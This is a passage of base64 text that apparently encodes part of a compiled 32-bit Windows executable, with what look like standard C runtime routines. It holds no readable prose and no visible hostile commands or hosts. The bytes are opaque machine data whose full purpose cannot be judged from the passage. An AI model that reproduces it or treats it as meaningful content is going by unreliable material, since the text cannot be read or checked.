ZokHjX8CZoXAdAWD6QF17F+FyXUOM8BmiQLoYxMAAGoi68cz9uvLi/9Vi+xTVleLfQiF/3QTi00Mhcl0DItdEIXbdRszwGaJB+g0EwAAahZeiTDo8w8AAF+Lxl5bXcOL1zP2ZjkydAiDwgKD6QF184XJdNAr2g+3BBNmiQKNUgJmhcB0BYPpAXXshcl1yjPAZokH6OoSAABqIuu0/xXssQMQo1gjBhD/FeixAxCjXCMGELABw7hgIwYQw4v/VYvsUVGhGAAGEDPFiUX8i0UMU1aLdQgrxoPAA1cz/8HoAjl1DBvb99Mj2HQciwaJRfiFwHQLi8j/FXi0AxD/VfiDxgRHO/t15ItN/F9eM81b6KMr//+L5V3Di/9Vi+xRoRgABhAzxYlF/FaLdQhX6xeLPoX/dA6Lz/8VeLQDEP/XhcB1CoPGBDt1DHXkM8CLTfxfM81e6F4r//+L5V3Di/9Vi+y4Y3Nt4DlFCHQEM8Bdw/91DFDoBAAAAFlZXcOL/1WL7FFRoRgABhAzxYlF/FboVBsAAIvwhfYPhEMBAACLFovKUzPbV42CkAAAADvQdA6LfQg5OXQJg8EMO8h19YvLhcl0B4t5CIX/dQczwOkNAQAAg/8FdQszwIlZCEDp/QAAAIP/AQ+E8QAAAItGBIlF+ItFDIlGBIN5BAgPhcQAAACNQiSNUGzrBolYCIPADDvCdfaLXgi4kQAAwDkBd090RIE5jQAAwHQzgTmOAADAdCKBOY8AAMB0EYE5kAAAwHVvx0YIgQAAAOtmx0YIhgAAAOtdx0YIgwAAAOtUx0YIggAAAOtLx0YIhAAAAOtCgTmSAADAdDOBOZMAAMB0IoE5tAIAwHQRgTm1AgDAdSLHRgiNAAAA6xnHRgiOAAAA6xDHRgiFAAAA6wfHRgiKAAAA/3YIi89qCP8VeLQDEP/XWYleCOsQ/3EEiVkIi8//FXi0AxD/14tF+FmJRgSDyP9fW4tN/DPNXujLKf//i+Vdw4v/VYvsM8CBfQhjc23gD5TAXcNqDGiY2wUQ6M+zAACLdRCF9nUS6EIBAACEwHQJ/3UI6HoBAABZagLoRTAAAFmDZfwAgD1sIwYQAA+FmQAAADPAQLlkIwYQhwHHRfwBAAAAi30Mhf91PIsdGAAGEIvTg+IfaiBZK8ozwNPIM8OLDWgjBhA7yHQVM9kzwFBQUIvK08uLy/8VeLQDEP/TaIAjBhDrCoP/AXULaIwjBhDoNAcAAFmDZfwAhf91EWiotAMQaJi0AxDoAP3//1lZaLC0AxBorLQDEOjv/P//WVmF9nUHxgVsIwYQAcdF/P7////oJwAAAIX2dSz/dQjoKgAAAItF7IsA/zDo8v7//4PEBMOLZejouggAAIt1EGoC6KgvAABZw+gMswAAw4v/VYvs6HItAACEwHQgZKEwAAAAi0BowegIqAF1EP91CP8VyLIDEFD/FTCyAxD/dQjoTwAAAFn/dQj/FeSxAxDMagD/FXSyAxCLyIXJdQMywMO4TVoAAGY5AXXzi0E8A8GBOFBFAAB15rkLAQAAZjlIGHXbg3h0DnbVg7joAAAAAA+VwMOL/1WL7FFRoRgABhAzxYlF/INl+ACNRfhQaGTLAxBqAP8V4LEDEIXAdCNWaHzLAxD/dfj/FXyyAxCL8IX2dA3/dQiLzv8VeLQDEP/WXoN9+AB0Cf91+P8VeLIDEItN/DPN6LAn//+L5V3Di/9Vi+yLRQijaCMGEF3DagFqAGoA6N79//+DxAzDi/9Vi+xqAGoC/3UI6Mn9//+DxAxdw6FkIwYQw4M9cCMGEAB0AzPAw1ZX6IRJAADoZ0wAAIvwhfZ1BYPP/+sqVugwAAAAWYXAdQWDz//rElC5cCMGEKN8IwYQ6MIGAAAz/2oA6G8HAABZVuhoBwAAWYvHX17Di/9Vi+xRUVNWV4t9CDPSi/eKB+sYPD10AUKLzo1ZAYoBQYTAdfkry0YD8YoGhMB15I1CAWoEUOhLCAAAi9hZWYXbdG2JXfzrUovPjVEBigFBhMB1+SvKgD89jUEBiUX4dDdqAVDoHQgAAIvwWVmF9nQwV/91+FbobgcAAIPEDIXAdUGLRfxqAIkwg8AEiUX86M0GAACLRfhZA/iAPwB1qesRU+gpAAAAagDoswYAAFlZM9tqAOioBgAAWV9ei8Nbi+VdwzPAUFBQUFDo7gkAAMyL/1WL7FaLdQiF9nQfiwZXi/7rDFDodwYAAI1/BIsHWYXAdfBW6GcGAABZX15dw4v/VYvsUaEYAAYQM8WJRfxWi/FXjX4E6xGLTQhW/xV4tAMQ/1UIWYPGBDv3deuLTfxfM81e6N8l//+L5V3CBACL/1WL7ItFCIsAOwV8IwYQdAdQ6Hn///9ZXcOL/1WL7ItFCIsAOwV4IwYQdAdQ6F7///9ZXcNooMICELlwIwYQ6Hv///9ou8ICELl0IwYQ6Gz/////NXwjBhDoMv////81eCMGEOgn////WVnD6fX9//9qDGjA2wUQ6FIj//+DZeQAi0UI/zDoCiwAAFmDZfwAi00M6AoCAACL8Il15MdF/P7////oDQAAAIvG6GUj///CDACLdeSLRRD/MOgdLAAAWcNqDGjg2wUQ6AEj//+DZeQAi0UI/zDouSsAAFmDZfwAi00M6JkAAACL8Il15MdF/P7////oDQAAAIvG6BQj///CDACLdeSLRRD/MOjMKwAAWcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Iv///+L5V3Di/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOgS////i+Vdw4v/VYvsoRgABhCD4B9qIFkryItFCNPIMwUYAAYQXcOL/1WL7IPsGKEYAAYQM8WJRfyLwYlF6FOLAIsYhdt1CIPI/+npAAAAixUYAAYQVleLO4vyi1sEg+YfM/qJdeyLzjPa08/Ty4X/D4S+AAAAg///D4S1AAAAiX30iV3waiBZK84zwNPIM8KD6wQ733JgOQN09Yszi03sM/LTzovOiQP/FXi0AxD/1otF6IsVGAAGEIvyg+YfiXXsiwCLAIsIi0AEM8qJTfgzwovO003408iLTfg7TfR1C2ogWTtF8HSgi034iU30i/mJRfCL2OuOg///dA1X6MQDAACLFRgABhBZi8Iz0oPgH2ogWSvI08qLTegzFRgABhCLAYsAiRCLAYsAiVAEiwGLAIlQCF8zwF6LTfwzzVvoOiP//4vlXcOL/1WL7IPsDIvBiUX4VosAizCF9nUIg8j/6R4BAAChGAAGEIvIU4seg+EfV4t+BDPYi3YIM/gz8NPP087Tyzv+D4W0AAAAK/O4AAIAAMH+AjvwdwKLxo08MIX/dQNqIF87/nIdagRXU+hZSAAAagCJRfzoCAMAAItN/IPEEIXJdShqBI1+BFdT6DlIAABqAIlF/OjoAgAAi038g8QQhcl1CIPI/+mRAAAAjQSxi9mJRfyNNLmhGAAGEIt9/IPgH2ogWSvIM8DTyIvPMwUYAAYQiUX0i8Yrx4PAA8HoAjv3G9L30iPQiVX8dBCLVfQzwECJEY1JBDtF/HX1i0X4i0AE/zDouv3//1OJB+hYLP//i134iwuLCYkBjUcEUOhGLP//iwtWiwmJQQToOSz//4sLg8QQiwmJQQgzwF9bXovlXcOL/1WL7P91CGiAIwYQ6F4AAABZWV3Di/9Vi+xRjUUIiUX8jUX8UGoC6AP9//9ZWYvlXcOL/1WL7FaLdQiF9nUFg8j/6yiLBjtGCHUfoRgABhCD4B9qIFkryDPA08gzBRgABhCJBolGBIlGCDPAXl3Di/9Vi+xRUY1FCIlF+I1FDIlF/I1F+FBqAujK/P//WVmL5V3DaDgBBhC5rCMGEOjlAAAAsAHDaIAjBhDog////8cEJIwjBhDod////1mwAcOwAcPoivv//7ABw6EYAAYQVmogg+AfM/ZZK8jTzjM1GAAGEFboEgQAAFbo+UcAAFbooEkAAFbo/0sAAFboSPn//4PEFLABXsNqAOhrKf//WcOhUAcGEIPJ/1bwD8EIdRuhUAcGEL4wBQYQO8Z0DVDoCgEAAFmJNVAHBhD/NaAjBhDo+AAAAP81pCMGEDP2iTWgIwYQ6OUAAAD/NVAjBhCJNaQjBhDo1AAAAP81VCMGEIk1UCMGEOjDAAAAg8QQiTVUIwYQsAFew4v/VYvsjUEEi9Ar0YPCA1Yz9sHqAjvBG8D30CPCdA2LVQhGiRGNSQQ78HX2Xl3CBABoCMwDEGiQywMQ6FBGAABZWcPoVhAAAIXAD5XAw+ibDwAAsAHDaAjMAxBokMsDEOiuRgAAWVnDi/9Vi+z/dQjo2hAAAFmwAV3DagxoANwFEOgOqgAA6I8PAACLcAyF9nQeg2X8AIvO/xV4tAMQ/9brBzPAQMOLZejHRfz+////6OMAAADMi/9Vi+yDfQgAdC3/dQhqAP818CcGEP8V1LEDEIXAdRhW6F0GAACL8P8VrLIDEFDo1gUAAFmJBl5dw4v/VYvsVot1CIP+4HcwhfZ1F0brFOjFSgAAhcB0IFboYEYAAFmFwHQVVmoA/zXwJwYQ/xXQsQMQhcB02esN6AYGAADHAAwAAAAzwF5dw4v/VYvsi1UIVoXSdBGLTQyFyXQKi3UQhfZ1F8YCAOjYBQAAahZeiTDolwIAAIvGXl3DV4v6K/KKBD6IB0eEwHQFg+kBdfFfhcl1C4gK6KkFAABqIuvPM/br0+hZRwAAhcB0CGoW6KlHAABZ9gUoAQYQAnQhahfo6R///4XAdAVqB1nNKWoBaBUAAEBqA+hoAAAAg8QMagPoBff//8yL/1WL7FaLdQiF9nQMauAz0lj39jtFDHI0D691DIX2dRdG6xToy0kAAIXAdCBW6GZFAABZhcB0FVZqCP818CcGEP8V0LEDEIXAdNnrDegMBQAAxwAMAAAAM8BeXcOL/1WL7IHsKAMAAKEYAAYQM8WJRfyDfQj/V3QJ/3UI6Jwb//9ZalCNheD8//9qAFDo1yb//2jMAgAAjYUw/f//agBQ6MQm//+NheD8//+DxBiJhdj8//+NhTD9//+Jhdz8//+JheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0UEiYXo/f//jUUEiYX0/f//x4Uw/f//AQABAItA/ImF5P3//4tFDImF4Pz//4tFEImF5Pz//4tFBImF7Pz///8VRLIDEGoAi/j/FTyyAxCNhdj8//9Q/xVAsgMQhcB1E4X/dQ+DfQj/dAn/dQjolRr//1mLTfwzzV/o/hz//4vlXcOL/1WL7P91CLmYIwYQ6Hv8//9dw4v/VYvsUaEYAAYQM8WJRfxW6AENAACFwHQ1i7BcAwAAhfZ0K/91GP91FP91EP91DP91CIvO/xV4tAMQ/9aLTfyDxBQzzV7omxz//4vlXcP/dRiLNRgABhCLzv91FDM1mCMGEIPhH/91ENPO/3UM/3UIhfZ1vugRAAAAzDPAUFBQUFDoef///4PEFMNqF+iJHf//hcB0BWoFWc0pVmoBvhcEAMBWagLoBv7//4PEDFb/FciyAxBQ/xUwsgMQXsOL/1WL7IPsEP91DI1N8OiPOP//jUX0UGoE/3UI6ALa//+DxAyAffwAdAqLTfCDoVADAAD9i+Vdw4v/VYvsg+wQ/3UMjU3w6Fc4//+NRfRQagj/dQjoytn//4PEDIB9/AB0CotN8IOhUAMAAP2L5V3Di/9Vi+yhqCMGEIXAdA5qAP91COh4////WVldw4tNCKE4AQYQD7cESIPgBF3Di/9Vi+yhqCMGEIXAdA5qAP91COiD////WVldw4tNCKE4AQYQD7cESIPgCF3Di/9Vi+yD7ByNTeRT/3UQ6MQ3//+LXQiB+wABAABzS41F6FBT6CEBAABZWYTAdCSAffAAi0Xoi4CUAAAAD7YMGHQKi0Xkg6BQAwAA/YvB6fIAAACAffAAdAqLTeSDoVADAAD9i8Pp2wAAADPAZolF/IhF/otF6IN4BAF+LovDjU3owfgIiUX0UQ+2wFDoNUYAAFlZhcB0E4tF9IhF/DPAagKIXf2IRf5Z6xboewEAADPJxwAqAAAAM8CIXfxBiEX9ZolF+I1V+IhF+otF6GoB/3AIagNSUY1N/FH/dQz/sKgAAACNRehQ6DBIAACDxCSFwHUYOEXwD4Rn////i0Xkg6BQAwAA/elY////g/gBdRaAffAAD7ZF+HQri03kg6FQAwAA/esfD7ZV+A+2RfnB4ggL0IB98AB0CotN5IOhUAMAAP2LwluL5V3Di/9Vi+z/dQxqAf91COj91///g8QM99gbwPfYXcOL/1WL7P91DGgAAQAA/3UI6IT+//+DxAxdw4v/VYvsoagjBhCFwHQQagD/dQjozv///1lZi8jrDotNCI1Bv4P4GXcDg8Egi8Fdw4v/VYvsi00IM8A7DMUIzAMQdCdAg/gtcvGNQe2D+BF3BWoNWF3DjYFE////ag5ZO8gbwCPBg8AIXcOLBMUMzAMQXcOL/1WL7FboGAAAAItNCFGJCOin////WYvw6BgAAACJMF5dw+hzCQAAhcB1BrgwAQYQw4PAFMPoYAkAAIXAdQa4LAEGEMODwBDDi/9Vi+yD7BBTVot1DIX2dBiLXRCF23QRgD4AdRSLRQiFwHQFM8lmiQgzwF5bi+Vdw1f/dRSNTfDoXjX//4tF9IO4qAAAAAB1FYtNCIXJdAYPtgZmiQEz/0fphAAAAI1F9FAPtgZQ6B5EAABZWYXAdECLffSDfwQBfic7XwR8JTPAOUUID5XAUP91CP93BFZqCf93CP8V3LEDEIt99IXAdQs7XwRyLoB+AQB0KIt/BOsxM8A5RQgPlcAz/1D/dQiLRfRHV1ZqCf9wCP8V3LEDEIXAdQ7oFP///4PP/8cAKgAAAIB9/AB0CotN8IOhUAMAAP2Lx1/pMf///4v/VYvsagD/dRD/dQz/dQjo8f7//4PEEF3Di/9Vi+yD7BRTi10MV4t9EIXbdRKF/3QOi0UIhcB0A4MgADPA63qLRQiFwHQDgwj/VoH/////f3YR6Jv+//9qFl6JMOha+///61P/dRiNTezoMjT//4tF8DP2ObCoAAAAdV1mi0UUuf8AAABmO8F2NoXbdA+F/3QLV1ZT6GQg//+DxAzoUf7//2oqXokwgH34AHQKi03sg6FQAwAA/YvGXl9bi+Vdw4XbdAaF/3RfiAOLRQiFwHTWxwABAAAA686NTfyJdfxRVldTagGNTRRRVv9wCP8V2LEDEIvIhcl0EDl1/HWfi0UIhcB0ookI657/FayyAxCD+Hp1iYXbdA+F/3QLV1ZT6Nof//+DxAzox/3//2oiXokw6Ib6///pbP///4v/VYvsagD/dRT/dRD/dQz/dQjox/7//4PEFF3Di/9Vi+yhZB8GEFZXg/gFfHyLdQiL1oPiH2ogWCvC99ob0iPQi0UMO8JzAovQjTwyi84793QKgDkAdAVBO8919ivOO8oPhdcAAACL+APOK/qLx4PgHyv4xfRXyQP56w/F9XQBxf3XwIXAdQeDwSA7z3Xti0UMA8brBoA5AHQFQTvIdfYrzsX4d+mUAAAAg/gBfHWLdQiL1oPiD2oQWCvC99ob0iPQi0UMO8JzAovQjTwyi84793QKgDkAdAVBO8919ivOO8p1Wov4A84r+mYP78mLx4PgDyv4A/nrEg8oAWYPdMFmD9fAhcB1B4PBEDvPdeqLRQwDxusGgDkAdAVBO8h19ivO6xqLVQiLyotFDAPCO9B0CoA5AHQFQTvIdfYryl+LwV5dw4v/VYvsUaFkHwYQi00IVleD+AUPjLwAAAD2wQF0J4tFDIvRjQRBO8gPhH0BAAAz/2Y5Og+EcgEAAIPCAjvQdfDpZgEAAIvxg+YfaiBYK8b33hv2I/CLRQzR7jvGcwKL8I0UcTP/iVX8i9E7Tfx0DWY5OnQIg8ICO1X8dfMr0dH6O9YPhScBAACNFFGLyCvOi8GD4B8ryMX0V8mNDErrD8X1dQLF/dfAhcB1B4PCIDvRde2LRQiLTQyNDEjrCGY5OnQHg8ICO9F19CvQ0frF+Hfp2gAAAIP4AQ+MswAAAPbBAXQni0UMi9GNBEE7yA+EuAAAADP/Zjk6D4StAAAAg8ICO9B18OmhAAAAi/GD5g9qEFgrxvfeG/Yj8ItFDNHuO8ZzAovwjRRxM/+JVfyL0TtN/HQNZjk6dAiDwgI7Vfx18yvR0fo71nVmjRRRZg/vyYvIK86LwYPgDyvIjQxK6xIPKAJmD3XBZg/XwIXAdQeDwhA70XXqi0UIi00MjQxI6whmOTp0B4PCAjvRdfQr0Osci0UMi9GNBEE7yHQOM/9mOTp0B4PCAjvQdfQr0dH6X4vCXovlXcNqCGhA3AUQ6NwR//+LRQj/MOiYGgAAWYNl/ACLTQyLQQSLAP8wiwH/MOj5AgAAWVnHRfz+////6AgAAADo7RH//8IMAItFEP8w6KgaAABZw2oIaGDcBRDojBH//4tFCP8w6EgaAABZg2X8AItFDIsAiwCLSEiFyXQYg8j/8A/BAXUPgfkwBQYQdAdR6Krz//9Zx0X8/v///+gIAAAA6IwR///CDACLRRD/MOhHGgAAWcNqCGiA3AUQ6CsR//+LRQj/MOjnGQAAWYNl/ABqAItFDIsA/zDoTQIAAFlZx0X8/v///+gIAAAA6EER///CDACLRRD/MOj8GQAAWcNqCGgg3AUQ6OAQ//+LRQj/MOicGQAAWYNl/ACLRQyLAIsAi0BI8P8Ax0X8/v///+gIAAAA6PkQ///CDACLRRD/MOi0GQAAWcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Oj+//+L5V3Di/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOhw/v//i+Vdw4v/VYvsg+wMi0UIjU3/iUX4iUX0jUX4UP91DI1F9FDo+f7//4vlXcOL/1WL7IPsDItFCI1N/4lF+IlF9I1F+FD/dQyNRfRQ6Bz///+L5V3Di/9Vi+xRUYtFCDPJQWpDiUgYi0UIxwDIygMQi0UIiYhQAwAAi0UIWcdASDAFBhCLRQhmiUhsi0UIZomIcgEAAItFCIOgTAMAAACNRQiJRfyNRfxQagXoff///41FCIlF+I1FDIlF/I1F+FBqBOgW////g8QQi+Vdw4v/VYvsg30IAHQS/3UI6A4AAAD/dQjowvH//1lZXcIEAIv/VYvsUYtFCIsIgfnIygMQdApR6KPx//+LRQhZ/3A86Jfx//+LRQj/cDDojPH//4tFCP9wNOiB8f//i0UI/3A46Hbx//+LRQj/cCjoa/H//4tFCP9wLOhg8f//i0UI/3BA6FXx//+LRQj/cEToSvH//4tFCP+wYAMAAOg88f//jUUIiUX8jUX8UGoF6DX+//+NRQiJRfyNRfxQagTodP7//4PENIvlXcOL/1WL7FaLdQiDfkwAdCj/dkzoJUEAAItGTFk7BawjBhB0FD04AQYQdA2DeAwAdQdQ6Do/AABZi0UMiUZMXoXAdAdQ6Ks+AABZXcOhNAEGEIP4/3QhVlDoNBMAAIvwhfZ0E2oA/zU0AQYQ6HcTAABW6MH+//9ew4v/Vlf/FayyAxCL8KE0AQYQg/j/dAxQ6P0SAACL+IX/dUloZAMAAGoB6JPx//+L+FlZhf91CVDoYPD//1nrOFf/NTQBBhDoJBMAAIXAdQNX6+VorCMGEFfo6f3//2oA6Djw//+DxAyF/3QMVv8VGLMDEIvHX17DVv8VGLMDEOj78P//zIv/U1ZX/xWssgMQi/Az26E0AQYQg/j/dAxQ6HYSAACL+IX/dVFoZAMAAGoB6Azx//+L+FlZhf91CVPo2e///1nrK1f/NTQBBhDonRIAAIXAdQNX6+VorCMGEFfoYv3//1Posu///4PEDIX/dQlW/xUYswMQ6wlW/xUYswMQi99fXovDW8No5dYCEOhaEQAAozQBBhCD+P91AzLAw+hf////hcB1CVDoBgAAAFnr67ABw6E0AQYQg/j/dA1Q6H4RAACDDTQBBhD/sAHDi/9Vi+xWi3UMiwY7BawjBhB0F4tNCKFUBwYQhYFQAwAAdQfozz8AAIkGXl3Di/9Vi+xWi3UMiwY7BVAHBhB0F4tNCKFUBwYQhYFQAwAAdQfo8jAAAIkGXl3Di/9Vi+yLRQi5/wcAAFNWM9KLGItwBIvGwegUI8FXO8F1QzvSdT+L/ovDgef//w8AC8d1A0DrMIvOi8KB4QAAAIALwbgAAAgAdA072nUJO/h1BWoEWOsQI/AL1nQEagLr82oD6+8zwF9eW13Di/9Vi+yLRQgz0otIBIvCgeEAAACAC8F0AUKKwl3Di/9Vi+yD7DBTVleLfRwz24X/eQKL+4t1DI1N0P91KIge6HQq//+NRws5RRB3FOi59P//aiJfiTjoePH//+moAgAAi1UIiwKLSgSJReCLwcHoFCX/BwAAPf8HAAB1UjvbdU5T/3UkU1f/dRj/dRT/dRBWUuiLAgAAi/iDxCSF/3QHiB7pYgIAAGplVugXpQAAWVmFwHQTOF0gD5TB/smA4eCAwXCICIhYA4v76ToCAACB4QAAAICLwwvBdATGBi1Gi0oEM9s4XSBqMA+Uw8dF9P8DAABLM8CD4+CB4QAA8H+DwycLwYld5Fh1H4gGRotCBIsKJf//DwALyHUFIU306w3HRfT+AwAA6wTGBjFGi85GiU3ohf91BcYBAOsPi0XUi4CIAAAAiwCKAIgBi0IEJf//DwCJRfB3CYM6AA+GxQAAAINl/AC5AAAPAGowWIlF+IlN8IX/flOLAotSBCNF/CPRi034geL//w8AD7/J6LSWAABqMFlmA8EPt8CD+Dl2AgPDi03wi1UIiAZGi0X8D6zIBIlF/ItF+MHpBIPoBE+JTfCJRfhmhcB5qWaFwHhXiwKLUgQjRfwj0YtN+IHi//8PAA+/yehclgAAZoP4CHY2ajCNRv9bigiA+WZ0BYD5RnUFiBhI6++LXeQ7Reh0FIoIgPk5dQeAwzqIGOsJ/sGICOsD/kD/hf9+EFdqMFhQVujhFP//g8QMA/eLReiAOAB1AovwgH0gALE0i1UID5TA/sgk4ARwiAaLAotSBOjklQAAi8gz24Hh/wcAACtN9BvbeA9/BIXJcgnGRgErg8YC6w7GRgEtg8YC99mD0wD324v+ajBYiAaF23w/uOgDAAB/BDvIchZqAFBTUegWlgAABDCJVeSIBkY793ULhdt8Gn8Fg/lkchNqAGpkU1Ho9JUAAAQwiVXkiAZGO/d1C4XbfBp/BYP5CnITagBqClNR6NKVAAAEMIlV5IgGRmowWALIM/+IDsZGAQCAfdwAdAqLTdCDoVADAAD9i8dfXluL5V3Di/9Vi+yD7AyNRfRWi3UcV/91GP91FI1+AVCLRQhX/3AE/zDolT0AAIPJ/4PEGDlNEHQXi00QM8CDffQtD5TAK8gzwIX2D5/AK8iNRfRQV4t9DFEzyYN99C0PlMEzwIX2D5/AA88DwVDoajwAAIPEEIXAdAXGBwDrHP91KI1F9GoAUP91JP91IFb/dRBX6AkAAACDxCBfXovlXcOL/1WL7IPsEFZXi30Qhf9+BIvH6wIzwIPACTlFDHcX6Crx//9qIl6JMOjp7f//i8ZfXovlXcNT/3UkjU3w6Lom//+KVSCLXQiE0nQli00cM8CF/w+fwFAzwIM5LQ+UwAPDUP91DFPoBAQAAIpVIIPEEItFHIvzgzgtdQbGAy2NcwGF/34VikYBiAZGi0X0i4CIAAAAiwCKAIgGM8CE0g+UwAPHA/CDyP85RQx0B4vDK8YDRQxosM0DEFBW6JPq//+DxAxbhcB1do1OAjhFFHQDxgZFi1Uci0IIgDgwdC+LUgSD6gF5BvfaxkYBLWpkXzvXfAiLwpn3/wBGAmoKXzvXfAiLwpn3/wBGAwBWBIN9GAJ1FIA5MHUPagONQQFQUehlmwAAg8QMgH38AHQKi0Xwg6BQAwAA/TPA6fL+//8zwFBQUFBQ6N3s///Mi/9Vi+yD7AwzwFZX/3UYjX30/3UUq6urjUX0i30cUItFCFf/cAT/MOiqOwAAg8n/g8QYOU0QdA6LTRAzwIN99C0PlMAryIt1DI1F9FCLRfgDx1AzwIN99C1RD5TAA8ZQ6Iw6AACDxBCFwHQFxgYA6xb/dSCNRfRqAFBX/3UQVugJAAAAg8QYX16L5V3Di/9Vi+yD7BCNTfBTVlf/dRzoDiX//4tVFIt9EItdCItKBEmAfRgAdBQ7z3UQM8CDOi0PlMADwWbHBBgwAIM6LYvzdQbGAy2NcwGLQgSFwH8VagFW/3UMU+g6AgAAg8QQxgYwRusCA/CF/35SagFW/3UMU+gfAgAAi0X0g8QQi4CIAAAAiwCKAIgGRotFFItIBIXJeSmAfRgAdQiLwffYO8d9BIv5999XVv91DFPo5QEAAFdqMFboxhD//4PEHIB9/ABfXlt0CotF8IOgUAMAAP0zwIvlXcOL/1WL7IPsEFNWV/91GDPAjX3w/3UUq6urjUXwi30cUItFCFf/cAT/MOhFOgAAi0X0M8mLXQyDxBiDffAtD5TBSIlF/IPI/400GTlFEHQFi0UQK8GNTfBRV1BW6C05AACDxBCFwHQFxgMA61WLRfRIOUX8D5zBg/j8fCo7x30mhMl0CooGRoTAdfmIRv7/dSiNRfBqAVBX/3UQU+iJ/v//g8QY6xz/dSiNRfBqAVD/dST/dSBX/3UQU+iT/P//g8QgX15bi+Vdw4v/VYvsg+xIoRgABhAzxYlF/ItVFItNEFOKXQwPtsODwAQ70HMVagzGAQBYi038M81b6NQG//+L5V3DhNt0CMYBLUFKxgEAuHDNAxDHRdyAzQMQiUW8M9s4XRiJRcC4dM0DEIlFxA+Vw4lFyEu4fM0DEMdF5IzNAxCJRdSD4wKJRdiJReiJRfiLRQhWvnjNAxDHReyYzQMQV408hfz///+JdcyNBB+JddCJdeCJdfDHRfSkzQMQi3SFvI1GAYlFuIoGRoTAdfkrdbg78hvARwPHA8P/dIW8UlHo/ub//4PEDF9ehcAPhEH///8zwFBQUFBQ6Lnp///Mi/9Vi+yLVRSF0nQmVot1EIvOV415AYoBQYTAdfkrz41BAVCNBBZWUOjtlwAAg8QMX15dw4v/VYvsUVFWV4t9DIX/dRboluz//2oWXokw6FXp//+LxukeAQAAU4tdEIXbdAyDfRQAdAaDfRgAdxbobOz//2oWXokw6Cvp//+LxunzAAAAi3Ucg/5BdBOD/kV0DoP+RnQJxkX8AIP+R3UExkX8AYtFJIPgCIPIAHUy/3UI6LP2//+JRfhZhcB0Iv91/FNX/3UI6Ar3//9ZD7bAUP91+Ogw/v//g8QU6ZcAAACLRSSD4BCDyAB0BGoD6wJqAliD/mF/KHQKg+5BdAWD7gTrH/91LFD/dfz/dSD/dRj/dRRTV/91COjW9v//61WD7mX/dSx0NoPuAXQZUP91/P91IP91GP91FFNX/3UI6P38///rL/91IP91GP91FFNX/3UI6IT7//+DxBzrGlD/dfz/dSD/dRj/dRRTV/91COiC+f//g8QkW19ei+Vdw4v/VYvsi0UMg0AI/otVDIN6CAB9Dw+3RQhSUOgDTwAAWVldw4sKZotFCGaJAYMCAl3Di/9Vi+yD7BChGAAGEDPFiUX8V4t9DItHDMHoDKgBdBBX/3UI6KX///9ZWennAAAAU1ZX6L9K//+7AAIGEFmD+P90Llforkr//1mD+P50Ilfookr//4vwV8H+BuiXSv//g+A/a8AwWVkDBLWwIwYQ6wKLw4pAKTwCD4SMAAAAPAEPhIQAAABX6GtK//9Zg/j/dCxX6F9K//9Zg/j+dCBX6FNK//+L8FfB/gboSEr//4PgP2vYMFlZAxy1sCMGEPZDKIB0Rv91CI1F9GoFUI1F8FDooez//4PEEIXAdSYz9jl18H4ZD75ENfRXUOg2AAAAWVmD+P90DEY7dfB852aLRQjrErj//wAA6wtX/3UI6Lv+//9ZWV5bi038M81f6EED//+L5V3Di/9Vi+yLVQyDaggBeQ1S/3UI6KlNAABZWV3DiwKLTQiICP8CD7bBXcOLDRgABhAzwIPJATkNnCMGEA+UwMOL/1WL7FaLdQhW6IRJ//9Q6INNAABZWYXAdQcywOmQAAAAU1dqAegKRf//WWoCWzvwdQe/oCMGEOsQU+j1RP//WTvwdWm/pCMGEP8FTCMGEI1ODIsBqcAEAAB1UriCAgAA8AkBiweFwHUraAAQAADoDuP//2oAiQfoy+L//4sHWVmFwHUQjU4UiV4IiU4EiQ6JXhjrFYlGBIsHiQbHRggAEAAAx0YYABAAALAB6wIywF9bXl3Di/9Vi+yAfQgAdCxWi3UMV41+DIsHwegJqAF0GVbo4kT//1m4f/3///AhBzPAiUYYiUYEiQZfXl3DM8C5qCMGEECHAcNqCGig3AUQ6PH//v++OAEGEDk1rCMGEHQqagToowgAAFmDZfwAVmisIwYQ6EAzAABZWaOsIwYQx0X8/v///+gGAAAA6Pv//v/DagTouwgAAFnDi/9Vi+yD7EiNRbhQ/xU4sgMQZoN96gAPhJUAAACLReyFwA+EigAAAFNWizCNWASNBDOJRfy4ACAAADvwfAKL8FboERYAAKGwJQYQWTvwfgKL8Fcz/4X2dFaLRfyLCIP5/3RAg/n+dDuKE/bCAXQ09sIIdQtR/xXIsQMQhcB0IYvHi8+D4D/B+QZr0DCLRfwDFI2wIwYQiwCJQhiKA4hCKItF/EeDwARDiUX8O/51rV9eW4vlXcOL/1NWVzP/i8eLz4PgP8H5BmvwMAM0jbAjBhCDfhj/dAyDfhj+dAaATiiA63uLx8ZGKIGD6AB0EIPoAXQHavSD6AHrBmr16wJq9lhQ/xVssgMQi9iD+/90DYXbdAlT/xXIsQMQ6wIzwIXAdB4l/wAAAIleGIP4AnUGgE4oQOspg/gDdSSATigI6x6ATihAx0YY/v///6FIIwYQhcB0CosEuMdAEP7///9Hg/8DD4VV////X15bw2oMaMDcBRDoM/7+/2oH6PIGAABZM9uIXeeJXfxT6MkUAABZhcB1D+ho/v//6Bn///+zAYhd58dF/P7////oCwAAAIrD6Dz+/v/Dil3nagfo+QYAAFnDi/9WM/aLhrAjBhCFwHQOUOhLFAAAg6awIwYQAFmDxgSB/gACAABy3bABXsOL/1WL7Lj//wAAg+wYZjlFCA+ErgAAAP91DI1N6OgeHP//i0Xsi4CoAAAAhcB1IYtNCI1Bv2aD+Bl3DWaDwSAPt8GJRfhmi8gPt8GJRfjrH7oAAQAAagFmOVUIczD/dQjocBsAAFlZhcB1CWaLRQgPt8DrEYtF7A+3TQiLgJQAAAAPtgQID7fAiUX46xyNTfxRagGNTQhRUlDo9U0AAIPEGIXAdQxmi0UID7fAiUX46wRmi0X8gH30AHQKi03og6FQAwAA/YvlXcOL/1WL7ItFCFNWV40chQgmBhCLA4sVGAAGEIPP/4vKi/KD4R8z8NPOO/d0aYX2dASLxutji3UQO3UUdBr/NuhZAAAAWYXAdS+DxgQ7dRR17IsVGAAGEDPAhcB0Kf91DFD/FXyyAxCL8IX2dBNW6LwI//9ZhwPruYsVGAAGEOvZixUYAAYQi8JqIIPgH1kryNPPM/qHOzPAX15bXcOL/1WL7ItFCF